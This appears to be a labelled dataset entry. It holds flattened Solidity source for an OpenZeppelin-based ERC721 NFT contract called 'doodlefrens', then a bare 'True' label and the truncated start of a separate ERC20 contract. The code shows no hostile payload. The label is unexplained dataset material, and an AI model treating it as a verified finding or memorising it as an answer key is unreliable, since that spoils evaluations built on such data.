* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: doodlefrens.sol
pragma solidity >=0.7.0 <0.9.0;
contract doodlefrens is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 20;
bool public paused = false;
mapping(address => bool) public whitelisted;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
mint(msg.sender, 1);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if(whitelisted[msg.sender] != true) {
require(msg.value >= cost * _mintAmount);
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function whitelistUser(address _user) public onlyOwner {
whitelisted[_user] = true;
}
function removeWhitelistUser(address _user) public onlyOwner {
whitelisted[_user] = false;
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-28
*/
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
